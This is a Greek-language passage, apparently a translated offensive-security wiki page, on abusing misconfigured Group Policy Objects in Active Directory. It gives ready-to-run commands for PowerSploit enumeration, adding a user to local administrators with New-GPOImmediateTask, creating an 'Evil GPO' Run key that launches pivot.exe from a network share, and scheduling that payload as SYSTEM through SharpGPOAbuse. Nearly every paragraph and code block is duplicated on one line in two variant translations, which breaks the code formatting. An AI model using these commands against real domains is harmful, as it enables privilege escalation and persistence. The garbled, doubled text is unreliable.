Για να εντοπιστούν κακοδιαμορφωμένα GPOs, μπορούν να αλυσοδεθούν οι εντολές του PowerSploit. Αυτό επιτρέπει τον εντοπισμό των GPOs στα οποία ένας συγκεκριμένος χρήστης έχει δικαιώματα διαχείρισης: Για την εντοπισμό λανθασμένα διαμορφωμένων GPOs, μπορούν να συνδεθούν μαζί τα cmdlets του PowerSploit. Αυτό επιτρέπει τον εντοπισμό των GPOs στα οποία ένας συγκεκριμένος χρήστης έχει δικαιώματα διαχείρισης: `powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
```powershell
Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
```
**Υπολογιστές με εφαρμογή μιας συγκεκριμένης πολιτικής**: Είναι δυνατό να εντοπιστούν οι υπολογιστές στους οποίους εφαρμόζεται μια συγκεκριμένη GPO, βοηθώντας στην κατανόηση της έκτασης της πιθανής επίδρασης. **Υπολογιστές με Εφαρμοσμένη μια Δεδομένη Πολιτική**: Είναι δυνατόν να εντοπιστούν ποιοι υπολογιστές εφαρμόζουν μια συγκεκριμένη GPO, βοηθώντας στην κατανόηση της εμβέλειας του δυνητικού αντίκτυπου. `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}`
```powershell
Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}
```
**Πολιτικές που εφαρμόζονται σε έναν συγκεκριμένο υπολογιστή**: Για να δείτε ποιες πολιτικές εφαρμόζονται σε έναν συγκεκριμένο υπολογιστή, μπορούν να χρησιμοποιηθούν εντολές όπως `Get-DomainGPO`. **Πολιτικές που Εφαρμόζονται σε Έναν Δεδομένο Υπολογιστή**: Για να δείτε ποιες πολιτικές εφαρμόζονται σε ένα συγκεκριμένο υπολογιστή, μπορούν να χρησιμοποιηθούν εντολές όπως `Get-DomainGPO`.
**Οργανωτικές μονάδες με εφαρμογή μιας συγκεκριμένης πολιτικής**: Ο εντοπισμός των οργανωτικών μονάδων (OUs) που επηρεάζονται από μια συγκεκριμένη πολιτική μπορεί να γίνει χρησιμοποιώντας το `Get-DomainOU`. **Οργανωτικές Μονάδες με Εφαρμοσμένη μια Δεδομένη Πολιτική**: Η εντοπισμός των οργανωτικών μονάδων (OUs) που επηρεάζονται από μια δεδομένη πολιτική μπορεί να γίνει χρησιμοποιώντας το `Get-DomainOU`.
### Κατάχρηση GPO - New-GPOImmediateTask ### Κατάχρηση GPO - New-GPOImmediateTask
Τα κακοδιαμορφωμένα GPOs μπορούν να εκμεταλλευτούνται για την εκτέλεση κώδικα, για παράδειγμα, δημιουργώντας μια άμεση προγραμματισμένη εργασία. Αυτό μπορεί να γίνει για να προστεθεί ένας χρήστης στην τοπική ομάδα διαχειριστών στους επηρεαζόμενους υπολογιστές, ανεβάζοντας σημαντικά τα προνόμια: Λανθασμένα διαμορφωμένα GPOs μπορούν να εκμεταλλευτούν για την εκτέλεση κώδικα, για παράδειγμα, δημιουργώντας μια άμεση προγραμματισμένη εργασία. Αυτό μπορεί να γίνει για να προστεθεί ένας χρήστης στην τοπική ομάδα διαχειριστών στους επηρεαζόμενους υπολογιστές, ανεβάζοντας σημαντικά τα προνόμια:
```powershell ```powershell
New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators spotless /add" -GPODisplayName "Misconfigured Policy" -Verbose -Force New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators spotless /add" -GPODisplayName "Misconfigured Policy" -Verbose -Force
``` ```
### Εκμετάλλευση GPO μέσω του GroupPolicy module ### Εκμετάλλευση του GroupPolicy module - Κατάχρηση του GPO
Το GroupPolicy module, εάν είναι εγκατεστημένο, επιτρέπει τη δημιουργία και σύνδεση νέων GPOs, καθώς και την ρύθμιση προτιμήσεων όπως τιμές του μητρώου για την εκτέλεση πίσω πόρτας σε πληγείσες υπολογιστές. Αυτή η μέθοδος απαιτεί την ενημέρωση του GPO και τη σύνδεση ενός χρήστη στον υπολογιστή για την εκτέλεση: Το GroupPolicy module, εάν είναι εγκατεστημένο, επιτρέπει τη δημιουργία και σύνδεση νέων GPOs, καθώς και την ρύθμιση προτιμήσεων όπως οι τιμές του μητρώου για την εκτέλεση backdoors σε πληγωμένους υπολογιστές. Αυτή η μέθοδος απαιτεί την ενημέρωση του GPO και τη σύνδεση ενός χρήστη στον υπολογιστή για την εκτέλεση:
```powershell ```powershell
New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=domain,DC=io" New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=domain,DC=io"
Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "%COMSPEC% /b /c start /b /min \\dc-2\software\pivot.exe" -Type ExpandString Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "%COMSPEC% /b /c start /b /min \\dc-2\software\pivot.exe" -Type ExpandString
``` ```
### SharpGPOAbuse - Κατάχρηση GPO ### SharpGPOAbuse - Κατάχρηση GPO
Το SharpGPOAbuse προσφέρει έναν τρόπο για την κατάχρηση υπαρκτών GPOs προσθέτοντας εργασίες ή τροποποιώντας ρυθμίσεις χωρίς την ανάγκη δημιουργίας νέων GPOs. Αυτό το εργαλείο απαιτεί τροποποίηση των υπαρκτών GPOs ή τη χρήση των εργαλείων RSAT για τη δημιουργία νέων πριν εφαρμοστούν οι αλλαγές: Το SharpGPOAbuse προσφέρει έναν τρόπο για την κατάχρηση υπαρχόντων GPOs προσθέτοντας εργασίες ή τροποποιώντας ρυθμίσεις χωρίς την ανάγκη δημιουργίας νέων GPOs. Αυτό το εργαλείο απαιτεί τροποποίηση των υπαρχόντων GPOs ή χρήση εργαλείων RSAT για τη δημιουργία νέων πριν εφαρμοστούν οι αλλαγές:
```bash ```bash
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Install Updates" --Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c \\dc-2\software\pivot.exe" --GPOName "PowerShell Logging" .\SharpGPOAbuse.exe --AddComputerTask --TaskName "Install Updates" --Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c \\dc-2\software\pivot.exe" --GPOName "PowerShell Logging"
``` ```
### Ενημέρωση Εξαναγκασμού Πολιτικής ### Ενημέρωση Εξαναγκαστικής Πολιτικής
Οι ενημερώσεις των GPO συνήθως γίνονται περίπου κάθε 90 λεπτά. Για να επιταχυνθεί αυτή η διαδικασία, ειδικά μετά την εφαρμογή μιας αλλαγής, μπορεί να χρησιμοποιηθεί η εντολή `gpupdate /force` στον στόχο υπολογιστή για να εξαναγκαστεί μια άμεση ενημέρωση της πολιτικής. Αυτή η εντολή εξασφαλίζει ότι οποιεσδήποτε τροποποιήσεις στα GPO θα εφαρμοστούν χωρίς να περιμένουν για τον επόμενο αυτόματο κύκλο ενημέρωσης. Οι ενημερώσεις των GPO συνήθως συμβαίνουν περίπου κάθε 90 λεπτά. Για να επιταχυνθεί αυτή η διαδικασία, ειδικά μετά την εφαρμογή μιας αλλαγής, η εντολή `gpupdate /force` μπορεί να χρησιμοποιηθεί στον στόχο υπολογιστή για να εξαναγκαστεί μια άμεση ενημέρωση της πολιτικής. Αυτή η εντολή εξασφαλίζει ότι οποιεσδήποτε τροποποιήσεις στα GPO εφαρμόζονται χωρίς να περιμένουν για τον επόμενο αυτόματο κύκλο ενημερώσεων.
### Κάτω από το Καπό ### Κάτω από το Καπό
Κατά την επιθεώρηση των Προγραμματισμένων Εργασιών για ένα συγκεκριμένο GPO, όπως το `Misconfigured Policy`, μπορεί να επιβεβαιωθεί η προσθήκη εργασιών όπως η `evilTask`. Αυτές οι εργασίες δημιουργούνται μέσω σεναρίων ή εργαλείων γραμμής εντολών με σκοπό την τροποποίηση της συμπεριφοράς του συστήματος ή την ανέλιξη δικαιωμάτων. Μετά την επιθεώρηση των Προγραμματισμένων Εργασιών για ένα συγκεκριμένο GPO, όπως το `Misconfigured Policy`, μπορεί να επιβεβαιωθεί η προσθήκη εργασιών όπως το `evilTask`. Αυτές οι εργασίες δημιουργούνται μέσω σεναρίων ή εργαλείων γραμμής εντολών με σκοπό την τροποποίηση της συμπεριφοράς του συστήματος ή την ανάδειξη προνομίων.
Η δομή της εργασίας, όπως φαίνεται στο αρχείο διαμόρφωσης XML που δημιουργείται από την εντολή `New-GPOImmediateTask`, περιγράφει τις λεπτομέρειες της προγραμματισμένης εργασίας - συμπεριλαμβανομένης της εντολής που θα εκτελεστεί και των ενεργοποιητών της. Αυτό το αρχείο αναπαριστά τον τρόπο με τον οποίο ορίζονται και διαχειρίζονται οι προγραμματισμένες εργασίες μέσα στα GPO, παρέχοντας έναν τρόπο για την εκτέλεση αυθαίρετων εντολών ή σεναρίων ως μέρος της επιβολής της πολιτικής. Η δομή της εργασίας, όπως φαίνεται στο αρχείο διαμόρφωσης XML που δημιουργείται από το `New-GPOImmediateTask`, περιγράφει τις λεπτομέρειες της προγραμματισμένης εργασίας - συμπεριλαμβανομένης της εντολής που θα εκτελεστεί και των ενεργοποιητών της. Αυτό το αρχείο αντιπροσωπεύει τον τρόπο με τον οποίο καθορίζονται και διαχειρίζονται οι προγραμματισμένες εργασίες εντός των GPO, παρέχοντας έναν τρόπο για την εκτέλεση αυθαίρετων εντολών ή σεναρίων ως μέρος της επιβολής πολιτικής.
### Χρήστες και Ομάδες ### Χρήστες και Ομάδες
Τα GPO επιτρέπουν επίσης την επεξεργασία των μελών χρηστών και ομάδων στα συστήματα-στόχους. Με την επεξεργασία των αρχείων πολιτικής Χρηστών και Ομάδων απευθείας, οι επιτιθέμενοι μπορούν να προσθέσουν χρήστες σε προνομιούχες ομάδες, όπως η τοπική ομάδα `administrators`. Αυτό είναι δυνατό μέσω της ανάθεσης δικαιωμάτων διαχείρισης των GPO, που επιτρέπει την τροποποίηση των αρχείων πολιτικής για την προσθήκη νέων χρηστών ή την αλλαγή της συμμετοχής σε ομάδες. Τα GPO επιτρέπουν επίσης τη χειραγώγηση των μελών χρηστών και ομάδων σε συστήματα στόχου. Με την επεξεργασία των αρχείων πολιτικής Χρηστών και Ομάδων απευθείας, οι επιτιθέμενοι μπορούν να προσθέσουν χρήστες σε προνομιούχες ομάδες, όπως η τοπική ομάδα `διαχειριστές`. Αυτό είναι δυνατό μέσω της ανάθεσης δικαιωμάτων διαχείρισης GPO, τα οποία επιτρέπουν την τροποποίηση των αρχείων πολιτικής για την περίληψη νέων χρηστών ή την αλλαγή μελών ομάδων.
Το αρχείο διαμόρφωσης XML για τους Χρήστες και τις Ομάδες περιγράφει πώς υλοποιούνται αυτές οι αλλαγές. Με την προσθήκη καταχωρίσεων σε αυτό το αρχείο, συγκεκριμένοι χρήστες μπορούν να αποκτήσουν αυξημένα δικαιώματα σε όλα τα επηρεαζόμενα συστήματα. Αυτή η μέθοδος προσφέρει έναν άμεσο τρόπο ανέλιξης δικαιωμάτων μέσω της κατάχρησης των GPO. Το αρχείο διαμόρφωσης XML για Χρήστες και Ομάδες περιγράφει πώς υλοποιούνται αυτές οι αλλαγές. Με την προσθήκη καταχωρήσεων σε αυτό το αρχείο, συγκεκριμένοι χρήστες μπορούν να λάβουν αυξημένα προνόμια σε όλα τα επηρεαζόμενα συστήματα. Αυτή η μέθοδος προσφέρει έναν άμεσο τρόπο για την ανάδειξη προνομίων μέσω της χειραγώγησης των GPO.
Επιπλέον, μπορούν να ληφθούν υπόψη και επιπλέον μεθόδοι για την εκτέλεση κώδικα ή τη διατήρηση της μόνιμης παρουσίας, όπως η εκμετάλλευση σεναρίων σύνδεσης/αποσύνδεσης, η τροποποίηση κλειδιών μητρώου για την αυτόματη εκκίνηση, η εγκατάσταση λογισμικού μέσω αρχείων .msi ή η επεξεργασία ρυθμίσεων υπηρεσιών. Αυτές οι τεχνικές παρέχουν διάφορες δυνατότητες για τη διατήρηση πρόσβασης και τον έλεγχο των συστημάτων-στόχων μέσω της κατάχρησης των GPO. Επιπλέον, μπορούν να ληφθούν υπόψη και επιπλέον μέθοδοι για την εκτέλεση κώδικα ή τη διατήρηση της μόνιμης παρουσίας, όπως η εκμετάλλευση σεναρίων σύνδεσης/αποσύνδεσης, η τροποποίηση κλειδιών μητρώου για αυτόματες εκκινήσεις, η εγκατάσταση λογισμικού μέσω αρχείων .msi ή η επεξεργασία ρυθμίσεων υπηρεσιών. Αυτές οι τεχνικές παρέχουν διάφορους τρόπους για τη διατήρηση πρόσβασης και τον έλεγχο των συστημάτων στόχου μέσω της κατάχρησης των GPO.
## Αναφορές
* [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces)
* [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)
* [https://wald0.com/?p=112](https://wald0.com/?p=112)
* [https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryrights?view=netframework-4.7.2](https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryrights?view=netframework-4.7.2)
* [https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/](https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/)
* [https://adsecurity.org/?p=3658](https://adsecurity.org/?p=3658)
* [https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System\_DirectoryServices\_ActiveDirectoryAccessRule\_\_ctor\_System\_Security\_Principal\_IdentityReference\_System\_DirectoryServices\_ActiveDirectoryRights\_System\_Security\_AccessControl\_AccessControlType\_](https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System\_DirectoryServices\_ActiveDirectoryAccessRule\_\_ctor\_System\_Security\_Principal\_IdentityReference\_System\_DirectoryServices\_ActiveDirectoryRights\_System\_Security\_AccessControl\_AccessControl